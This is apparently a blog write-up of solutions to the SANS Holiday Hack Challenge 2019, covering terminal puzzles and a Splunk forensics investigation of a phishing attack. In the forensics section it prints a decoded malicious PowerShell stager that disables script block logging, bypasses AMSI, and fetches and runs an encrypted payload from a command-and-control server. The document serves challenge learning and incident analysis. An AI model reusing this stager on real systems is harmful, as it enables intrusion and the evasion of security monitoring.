I did some of the solutions for the SANS Holiday Hack Challenge of 2019. Last year I participated for the first time. You can find the solutions below:
Answer: q.
Answer: /bin/ls.
$ ls
This isn't the ls you're looking for
elf@772e4d3f58fc:~$ which ls
/usr/local/bin/ls
elf@772e4d3f58fc:~$ dir
Yes, you're very clever, but we REALLY want you to run ls!
elf@772e4d3f58fc:~$ /bin/ls
' ' rejected-elfu-logos.txt
Loading, please wait......
Hangup
elf@772e4d3f58fc:~$ Some funny stuff here:
elf@d1501a3e4ee2:~$ cat .elfscream.txt
I'm trapped in an ASCII art factory - send help!
XXXXKKKKKKKKKKKKKKKKKKKKK00000000000000000000000000OOO
XXXKKKKKKKKKKKKKKKKKKK0000000000000000000000000000000O
XXKKKKKKKKKKKKKKKK00000000000000000OOOOOOOOOOOO0OOOOOO
XXKKKKKKKKKKKKK0000000OOOkkkkkkxxxxxxxxkkOOOOOOOOOOOOO
XKKKKKKKKKKK000OOkkxxxxxxxxxxkxddxxddddddodxkOOOOOOOOO
KKKKKKKKK00OkxxxxxxxxxxdxxxxddxxxdddxdddddddooxOOOOOOO
KKKKKKK0OkxxdxxkxxxxkxxxxxxdxxdddddxdddddooooooxOOOOOO
KKKKK0OkkkxxxxkkxxxxxxxxxddxxxxxxxxxddddddooooookOOOOO
NKK0OxxxxxxxxxxxxxxxxxxxxxxxxdxddddddddoooooooookOOOOO
NK0kxxxxkxxxxxxxxxxxxxxxxxxxddddddddoooooollooookOOOOO
KXOxdxxxxxdxxkxdoooollccccc::;:;;;,;,,,',,,,:llkkOOOOO
KKxddxxxddoccxdoloooodxxxxxxkxxxxxxxxkkxxxdoc,,okOOOOO
KKkddkxdxO:lkOOOOOOOOOOOOOOOkkkkxxdxxodoollll:'lkkOOOO
KKkxxxxk00d;;llllcllcc:::c:::;;;;;:::cccc:. .;xkkOOOO
KKOkxkO000d,cododxddxxxkkkkOOOkkkkkkkkkxxo. .:kkOOOO
KKkllok00x,,kOOOOOOdoodooxOOOOOOkxc:::ccdx;. ..:kkOOO
KO;dOx:oOl,dOOO0Oklxc.oklxOOOOOklcd;.:xdcdd.. .okkOO
Kk;dkx:,xc,xOOO0Oxlddlc:dOOOOOOk:dxl:oo:cxx;. ckkkO
KKk:;;:xOo,dOOO0OOkdooxOOOOOOOOkxc::::cdxxxl .. 'xkkO
KKKK00000k:;xOOOOOOOOOOOOOOk',okkkkkkkkkxxx:.....'xkkO
KKKKK0KK00d;:kOOOOOOOOOOOOk: .;xkkkkkkkkxx.. .,xkkOO
KKKKK000000x::xOOOOOOOOOOOOdodxkkkkkkkkkkxx. .'dkkOOO
KKKK00000000Od::okOOOOOOOkkxl,';cdkkkkkkxx: ..;xkkkOOO
KKKK000000000OOo,';xkOOkko' .,dxxkkxxc...lkkkOOOOO
KKKK000000000OOOkl..dkkkx.. . .lxxxxx;..'dkkkkOOOOO
KKK00000000000OOOOo.:kkkx. .cxxxd' ;xkkkkOOOOOO
KK0000000000000OOOk;'xkkk, .cxxo...lkkkkkkOOOOOO
KK000000000000OOOOOk,okkko. .odd'..dxkkkkkkkkkOOO
KK00000000000OOOOOOOo;xkkkc. ;dd'..lxxkkkkkkkkkkkk
K00000000000OOOOOOOOkl:xkkko;'.,cdd'..:xxkkkkkkkkkkkkk
00000000000OOOOOOOOOOkc:xkkkxxxdoc. .dxxkkkkkkkkkkkkk
0000000000OOOOOOOOOOOOko:oxxxdl' .oxxkkkkkkkkkkkkkk
00000000OOOOOOOOOOOOOOkkxl;. . .:xxkkkkkkkkkkkkkkk
00000OOOOOOOOOOOOOOOOOkkkkxo::'..':dxkkkkkkkkkkkkkkkkk
0000OOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
OOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOther stuff here
elf@d1501a3e4ee2:~$ cat rejected-elfu-logos.txt
_
/ \
\_/
/ \
/ \
/ |
/ |
/ \
_/_________|_
(____________)
Get Elfed at ElfU!
()
|\__/------\
\__________/
Walk a Mile in an elf's shoes
Take a course at ElfU!
____\()/____
| || |
| || |
|====||====|
| || |
| || |
------------
Be present in class
Fight, win, kick some grinch!Answer db.loadServerScripts();displaySolution();.
Find the mongo DB location
elf@5503e3f7a93a:~$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 1 0.1 0.0 18508 3556 pts/0 Ss 03:50 0:00 /bin/bash
mongo 9 3.9 0.1 1014596 59016 ? Sl 03:50 0:01 /usr/bin/mongod
--quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log
elf 50 0.0 0.0 34400 2860 pts/0 R+ 03:50 0:00 ps auxwwIt's at 127.0.0.1:12121.
elf@5503e3f7a93a:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2019-12-12T03:52:39.277+0000 W NETWORK
[thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll),
reason: Connection refused
2019-12-12T03:52:39.277+0000 E QUERY
[thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed
Hmm... what if Mongo isn't running on the default port?
elf@5503e3f7a93a:~$ mongo --help
elf@5503e3f7a93a:~$ mongo --host 127.0.0.1 --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
Server has startup warnings:
[removed]
> db
test
> use test
switched to db test
> show collections
redherring
> db.redherring.find()
{ "_id" : "This is not the database you're looking for." }
> db.getCollectionInfos()
[
{
"name" : "redherring",
"type" : "collection",
"options" : {
},
"info" : {
"readOnly" : false,
"uuid" : UUID("dc357003-7f55-4ac9-a81e-d0f3f5080af3")
},
"idIndex" : {
"v" : 2,
"key" : {
"_id" : 1
},
"name" : "_id_",
"ns" : "test.redherring"
}
}
]
> Seems like it's not there. Let's look at the log path then. Nothing there either.
The hint points to this page
https://docs.mongodb.com/manual/reference/command/listDatabases/#dbcmd.listDatabases
> db.adminCommand( { listDatabases: 1 } ) { "databases" : [ { "name" : "admin", "sizeOnDisk" : 32768, "empty" : false }, { "name" : "elfu", "sizeOnDisk" : 262144, "empty" : false }, { "name" : "local", "sizeOnDisk" : 32768, "empty" : false }, { "name" : "test", "sizeOnDisk" : 32768, "empty" : false } ], "totalSize" : 360448, "ok" : 1 }
Now let's try other databases.
> use admin
switched to db admin
> show collections
system.version
> db.collections.find()
> db.system.version.find()
{ "_id" : "featureCompatibilityVersion", "version" : "3.6" }
> use elfu
switched to db elfu
> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.bait.find()
{ "_id" : "Gait" }
> db.chum.find()
{ "_id" : "Yum!" }
> db.line.find()
{ "_id" : "Tensile strength" }
> db.metadata.find()
//
{ "_id" : ObjectId("5df1bbd7a97cf5b6aeb0c46c"), "index" : 0,
"value" : "#####hhc:{\"resourceId\": \"1cc6a846-84ff-459c-8282-9e7f6cd72028\",
\"hash\": \"49747f757af4819dfca11d3886cf439936daeb74c17f24bf9f29978271ede3b6\"}#####" }
> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars:
** db.loadServerScripts();displaySolution(); **" }
> db.system.js.find()
{ "_id" : "displaySolution", "value" : {
"code" : "function () { db.metadata.find().sort( { index: 1 }).forEach(function(v)
{ print(\"\\n\".repeat(100)); print(v.value); print(\"\\n\\n Congratulations!!\\n\\n\");
sleep(800); })}" } }
> db.tackle.find()
{ "_id" : "Mackerel?" }
> db.tincan.find()
{ "_id" : "SARDINES" }
> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars:
** db.loadServerScripts();displaySolution(); **" }Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
https://splunk.elfu.org/ with the username: elf / Password: elfsocks.
- What was the message for Kent that the adversary embedded in this attack?
- What is the short host name of Professor Banas' computer?
sweetums
What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)
C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txtSearch for
santaand see what files are accessed.Message=CommandInvocation(Get-ChildItem): "Get-ChildItem" ParameterBinding(Get-ChildItem): name="Recurse"; value="True" ParameterBinding(Get-ChildItem): name="Path"; value="C:\Users\cbanas" ParameterBinding(Get-ChildItem): name="File"; value="True" CommandInvocation(ForEach-Object): "ForEach-Object" ParameterBinding(ForEach-Object): name="Process"; value="Select-String -path $_ -pattern Santa" ParameterBinding(ForEach-Object): name="InputObject"; value="Microsoft Edge.lnk" ParameterBinding(ForEach-Object): name="InputObject"; value="Naughty_and_Nice_2019_draft.txt" ParameterBinding(ForEach-Object): name="InputObject"; value="19th Century Holiday Cheer Assignment.doc" ParameterBinding(ForEach-Object): name="InputObject"; value="assignment.zip" ParameterBinding(ForEach-Object): name="InputObject"; value="Bing.url" ParameterBinding(ForEach-Object): name="InputObject"; value="Desktop.lnk" ParameterBinding(ForEach-Object): name="InputObject"; value="Downloads.lnk" ParameterBinding(ForEach-Object): name="InputObject"; value="winrt--{S-1-5-21-1217370868-2414566453-2573080502-1004}-.searchconnector-ms"
What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)
- Searched for
144.202.46.214(from the PowerShell thing) and found144.202.46.214.vultr.com
- Searched for
What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)
- Search for
sourcetype=WinEventLog EventCode=4688 - Click on
Creator_Process_Namein the left. - Click on
Rare Values - See 14 values. We are looking for a document so we click on the
winword.exeprocess and see its process ID. - Search for that process ID
index=main sourcetype=WinEventLog EventCode=4688 0x187c Find the event for the process that launched word and the command line has the document name.
19th Century Holiday Cheer Assignment.docm"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\Temp\Temp1_Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm" /o ""
- Search for
How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)
index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | dedup results{}.workers.smtp.from- Returns 22, but one is the professor's email. So answer is
21.
What was the password for the zip archive that contained the suspicious file?
- We have seen it, add
passwordto the search. It's an email from
bradly buttercups <[email protected]>Professor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word document to view it. You will have to click "Enable Editing" then "Enable Content" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups123456789Seems like he cheated because the professors said
Bradly, I opened your assignment (which was not easy, by the way) and it seems you have not only not included an image per the instructions, but your assignment is identical to another student's assignment. This means your grade will be 0/100. -csb
- We have seen it, add
What email address did the suspicious file come from?
Actual message.
Query finds these two files
Buttercups_HOL404_assignment.zip
/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f/Buttercups_HOL404_assignment.zip
19th Century Holiday Cheer Assignment.docm
/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af/19th Century Holiday Cheer Assignment.docmThe properties for the docm files is in core.xml but it's empty. Let's find the actual core.xml file from the list above.
core.xml /home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4/core.xmlInside that we have the thing.
Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
The PowerShell base64 decoded
IF ($PSVerSioNTaBLe.PSVERsIOn.MAJor - gE 3) {
$GPF = [Ref].ASsEMBly.GETTyPE('System.Management.Automation.Utils')."GEtFiE`Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
IF ($GPF) {
$GPC = $GPF.GeTVAluE($nUlL);
If ($GPC['ScriptB' + 'lockLogging']) {
$GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
$GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [COLlEcTioNs.GEneRiC.DICTIoNAry[StrING, SySTEm.ObjecT]]::NeW();
$vAl.AdD('EnableScriptB' + 'lockLogging', 0);
$vaL.ADd('EnableScriptBlockInvocationLogging', 0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $VAl
} ElSE {
[SCrIPTBlOCK]."GEtFIe`lD"('signatures', 'N' + 'onPublic,Static').SETVALUe($NUll, (NEW - OBjEct CollEcTions.GEnerIC.HashSeT[sTrING]))
}
[REf].ASSEMBlY.GETTYPe('System.Management.Automation.AmsiUtils')|? {
$_
}
|% {
$_.GETFielD('amsiInitFailed', 'NonPublic,Static').SEtValUe($NUlL, $True)
};
};
[SySteM.NeT.SERvicEPoInTMaNaGer]::EXPecT100CONtInUe = 0;
$wc = NEw-ObjECT SysTEM.NeT.WeBCLiENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wC.HEADErS.ADd('User-Agent', $u);
$Wc.ProXy = [SySTeM.Net.WeBREQuEST]::DEFaULTWebProXy;
$WC.PRoXy.CREDenTIAls = [SySTEm.NET.CRedeNTiAlCAcHe]::DeFaulTNeTwORkCREDenTiALS;
$Script:Proxy = $wc.Proxy;
$K = [SySTEM.Text.EncOdING]::ASCII.GeTBYteS('zd!Pmw3J/qnuWoHX~=g.{>p,GE]:|#MR');
$R = {
$D, $K = $ARGs;
$S = 0..255;
0..255|% {
$J = ($J + $S[$_] + $K[$_%$K.COUnt])%256;
$S[$_], $S[$J] = $S[$J], $S[$_]
};
$D|% {
$I = ($I + 1)%256;
$H = ($H + $S[$I])%256;
$S[$I], $S[$H] = $S[$H], $S[$I];
$_ -BXoR$S[($S[$I] + $S[$H])%256] # change it to -BXoR
}
};
$ser = 'http://144.202.46.214:8080';
$t = '/admin/get.php';
$WC.HEADErs.Add("Cookie", "session=reT9XQAl0EMJnxukEZy/7MS70X4=");
$DATa = $WC.DownlOADDAtA($sEr + $T);
$Iv = $DatA[0..3];
$DatA = $dATa[4..$DatA.lENGtH];
-JOIN[ChaR[]](& $R $DatA ($IV + $K))|IEXWhat is at /home/callingcard.txt.?
PS /home/elf> gc ../callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la laWhat is at localhost:1225?
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 08:10:51 GMT
Content-Length: 860
<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>We can turn it on:
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 08:12:39 GMT
Content-Length: 32
Christmas Cheer Laser Powered OnThen we can query the output. It seems like it's just random.
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST
-Body "O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10").RawContentCould commands hold riddles in hist'ry?? See PowerShell history?
PS /home/elf> Get-History
Id CommandLine
-- -----------
1 Get-Help -Name Get-Process
2 Get-Help -Name Get-*
3 Set-ExecutionPolicy Unrestricted
4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm
5 Get-Service | Export-CSV c:\service.csv
6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
8 Get-EventLog -Log "Application"
9 I have many name=value variables that I share to applications system wide. At a com…But that does not show us everything, we are only looking for commands that do Invoke:
PS /home/elf> Get-History | Where-Object {$_.CommandLine -like "*Invoke*"}
Id CommandLine
-- -----------
7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
11 (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
12 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
13 (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContenthttp://127.0.0.1:1225/api/angle?val=65.5
Did not work, let's leave, return and get everything.
PS /home/elf> Get-History | Format-List -Property *
# removed
Id : 7
CommandLine : (Invoke-WebRequest
http://127.0.0.1:1225/api/angle?val=65.5).RawContent
ExecutionStatus : Completed
StartExecutionTime : 11/29/19 4:56:44 PM
EndExecutionTime : 11/29/19 4:56:44 PM
Duration : 00:00:00.0310799
# removed
Id : 9
CommandLine : I have many name=value variables that I share to applications
system wide. At a command I will reveal my secrets once you Get my
Child Items.
ExecutionStatus : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime : 11/29/19 4:57:16 PM
Duration : 00:00:00.6090308Number 9 points to environmental variables.
PS /home/elf> gci env:* | sort-object name
Name Value
---- -----
_ /root/CheerLaserService
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME /home/elf
HOSTNAME b011d5af8027
LANG en_US.UTF-8
LC_ALL en_US.UTF-8
LOGNAME elf
MAIL /var/mail/elf
PATH /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bi…
PSModuleAnalysisCachePath /var/cache/microsoft/powershell/PSModuleAnalysisCache/Mod…
PSModulePath /home/elf/.local/share/powershell/Modules:/root/.local/sh…
PWD /home/elf
RESOURCE_ID 373f8b8e-9767-4f99-866c-6b7bbc879102
riddle Squeezed and compressed I am hidden away. Expand me from …
SHELL /home/elf/elf
SHLVL 1
TERM xterm
USER elf
userdomain laserterminal
USERDOMAIN laserterminal
username elf
USERNAME elfWe need to expand the riddle variable:
PS /home/elf> gci env:riddle | Format-list
Name : riddle
Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will
show you the way. Recurse through all /etc and Sort on my LastWriteTime to
reveal im the newest of all.Apparently it's archive:
PS /home/elf> gci -Path ../../etc/ -Recurse | sort LastWriteTime | select -last 1
gci : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ gci -Path ../../etc/ -Recurse | sort LastWriteTime | select -last 1 | ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Directory: /etc/apt
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 12/12/19 8:41 AM 5662902 archiveLet's see what kind of file it is. It looks too big to be a text file.
We can run Get-Content -TotalCount n on it to the get the first n lines.
Seems like it's a zip file.
PS /etc/apt> Expand-Archive -LiteralPath ./archive -DestinationPath /home/elf/Now we have a directory named refraction inside /home/elf.
PS /home/elf/refraction> dir
Directory: /home/elf/refraction
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 11/7/19 11:57 AM 134 riddle
------ 11/5/19 2:26 PM 5724384 runme.elf
PS /home/elf/refraction> gc ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by
using my md5 identity:
25520151A320B5B0D21561F92C8F6224Googling for the MD5 finds nothing, might be the key for something inside runme.elf?
PS /home/elf/refraction> chmod +x ./runme.elf
PS /home/elf/refraction> ./runme.elf
refraction?val=1.867Another part of the answer: refraction?val=1.867
Now to get the next step
Get-ChildItem -recurse | Select-String -pattern "25520151A320B5B0D21561F92C8F6224"
| group path | select nameMaybe we have to run Get-FileHash on the files inside depth (and not in
subdirectories) and see which one has what we want. Did not work, it might be in
one of the directories. Doing Select-String on the output did not work.
Get-FileHash returns an object and we can see its values.
PS /home/elf/depths> gci ./rujaagk0.txt | Get-FileHash -Algorithm MD5 | Get-Member
TypeName: Microsoft.PowerShell.Commands.FileHashInfo
Name MemberType Definition
---- ---------- ----------
Equals Method bool Equals(System.Object obj)
GetHashCode Method int GetHashCode()
GetType Method type GetType()
ToString Method string ToString()
Algorithm Property string Algorithm {get;set;}
Hash Property string Hash {get;set;}
Path Property string Path {get;set;}We can get specific fields with Select-Object Path,Hash.
PS /home/elf/depths> gci -Recurse *.txt | Get-FileHash -Algorithm MD5 |
Select-Object Path,Hash | Select-String -Pattern "25520151A320B5B0D21561F92C8F6224"
@{Path=/home/elf/depths/produce/thhy5hll.txt; Hash=25520151A320B5B0D21561F92C8F6224}
PS /home/elf/depths> gc ./produce/thhy5hll.txt
temperature?val=-33.5
I am one of many thousand similar txt's contained within the deepest of
/home/elf/depths. Finding me will give you the most strength but doing so
will require Piping all the FullName's to Sort Length.
PS /home/elf/depths> dir *.txt -Recurse | Select-String -Pattern "temperature\?val"
produce/thhy5hll.txt:1:temperature?val=-33.5Another part of the answer: temperature?val=-33.5.
Not so lucky with dir *.txt -Recurse | Select-String -Pattern "refraction\?val".
Does it mean we have get all file names, sort by length and see what happens? Yes.
gc (gci *.txt -Recurse | sort { $_.FullName.length } | Select-Object -Last 1)
Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:
bushy
alabaster
minty
holly
Do this for me and then you /shall/see .It's the file below:
PS /home/elf/depths> gc
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown
/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever
/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful
/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to
/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txtPS /home/elf> Get-Process -IncludeUserName
WS(M) CPU(s) Id UserName ProcessName
----- ------ -- -------- -----------
108.68 2.27 7 root CheerLaserServi
109.38 3.36 56 elf elf
3.40 0.06 1 root init
3.52 1.40 6 root Processes
97.12 1.81 38 root pwsh
0.74 0.00 10 alabaster sleep
0.76 0.00 27 bushy sleep
0.74 0.00 34 minty sleep
0.82 0.00 37 holly sleep
3.50 0.00 55 root su
3.88 0.00 8 root sudo
3.84 0.00 25 root sudo
3.83 0.00 32 root sudo
3.90 0.00 35 root sudo
PS /home/elf> Stop-Process -ID 30 -Force
PS /home/elf> Stop-Process -ID 10 -Force
PS /home/elf> Stop-Process -ID 53 -Force
PS /home/elf> Stop-Process -ID 72 -Force
/usr/bin/Processes: line 59: 8 Killed /usr/bin/sudo -u alabaster /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59: 28 Killed /usr/bin/sudo -u bushy /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59: 50 Killed /usr/bin/sudo -u minty /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59: 69 Killed /usr/bin/sudo -u holly /bin/bash -c "/bin/sleep 999999"
PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and
the last thing will be in the Properties of the lonely unique event Id.PS /etc> gci *.xml -Recurse
gci : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ gci *.xml -Recurse
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Directory: /etc/systemd/system/timers.target.wants
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 11/18/19 7:53 PM 10006962 EventLog.xmlLet's follow this:
https://isc.sans.edu/forums/diary/Parsing+Windows+Eventlogs+in+Powershell/15298/
PS /> $mylog = Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml PS /> $mylog | group Id Count Name Group ----- ---- ----- 1 1 {System.Diagnostics.Eventing.Reader.EventLogRecord} 39 2 {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst… 179 3 {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst… 2 4 {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst… 905 5 {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst… 98 6 {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…
ID 1 is the one we are looking for.
PS /> $mylog | ? { $_.Id -match '1' }
Message : Process Create:
RuleName:
UtcTime: 2019-11-07 17:59:56.525
ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}
ProcessId: 3664
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.14393.206 (rs1_release.160915-0644)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c
"`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n
N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n
Rn=9`n}`n"
CurrentDirectory: C:\
User: ELFURESEARCH\allservices
LogonGuid: {BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}
LogonId: 0xA95CF5
TerminalSessionId: 0
IntegrityLevel: High
Hashes: MD5=097CE5761C89434367598B34FE32893B
ParentProcessGuid: {BA5C6BBB-4C79-5DC4-0000-001029350100}
ParentProcessId: 1008
ParentImage: C:\Windows\System32\svchost.exe
ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs
Id : 1
Version : 5
Qualifiers :
Level : 4
Task : 1
Opcode : 0
Keywords : -9223372036854775808
RecordId : 2422
ProviderName : Microsoft-Windows-Sysmon
ProviderId : 5770385f-c22a-43e0-bf4c-06f5698ffbd9
LogName : Microsoft-Windows-Sysmon/Operational
ProcessId : 1960
ThreadId : 6640
MachineName : elfuresearch
UserId : S-1-5-18
TimeCreated : 11/7/19 5:59:56 PM
ActivityId :
RelatedActivityId :
ContainerLog : microsoft-windows-sysmon/operational
MatchedQueryIds : {}
Bookmark : System.Diagnostics.Eventing.Reader.EventBookmark
LevelDisplayName : Information
OpcodeDisplayName : Info
TaskDisplayName : Process Create (rule: ProcessCreate)
KeywordsDisplayNames : {}
Properties : {System.Diagnostics.Eventing.Reader.EventProperty,
System.Diagnostics.Eventing.Reader.EventProperty,
System.Diagnostics.Eventing.Reader.EventProperty,
ddasdSystem.Diagnostics.Eventing.Reader.EventProperty…$mylog | ? { $_.Id -match '1' } | Format-List Properties | ForEach-Object {$_.ToString()}
Microsoft.PowerShell.Commands.Internal.Format.FormatStartData
Microsoft.PowerShell.Commands.Internal.Format.GroupStartData
Microsoft.PowerShell.Commands.Internal.Format.FormatEntryData
Microsoft.PowerShell.Commands.Internal.Format.GroupEndData
Microsoft.PowerShell.Commands.Internal.Format.FormatEndDataThis doesn't work
PS /home/elf> $myevent = $mylog | ? { $_.Id -match '1' }
PS /home/elf> $myevent.Properties | Format-List
Value :
Value : 2019-11-07 17:59:56.525
Value : ba5c6bbb-5b9c-5dc4-0000-00107660a900
Value : 3664
Value : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Value : 10.0.14393.206 (rs1_release.160915-0644)
Value : Windows PowerShell
Value : Microsoft® Windows® Operating System
Value : Microsoft Corporation
Value : PowerShell.EXE
Value : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c
"`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n
Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"
Value : C:\
Value : ELFURESEARCH\allservices
Value : ba5c6bbb-5b9c-5dc4-0000-0020f55ca900
Value : 11099381
Value : 0
Value : High
Value : MD5=097CE5761C89434367598B34FE32893B
Value : ba5c6bbb-4c79-5dc4-0000-001029350100
Value : 1008
Value : C:\Windows\System32\svchost.exe
Value : C:\Windows\system32\svchost.exe -k netsvcsFinally:
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/on).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:09 GMT
Content-Length: 32
Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:15 GMT
Content-Length: 87
Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:21 GMT
Content-Length: 82
Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Thu, 12 Dec 2019 22:17:26 GMT
Content-Length: 77
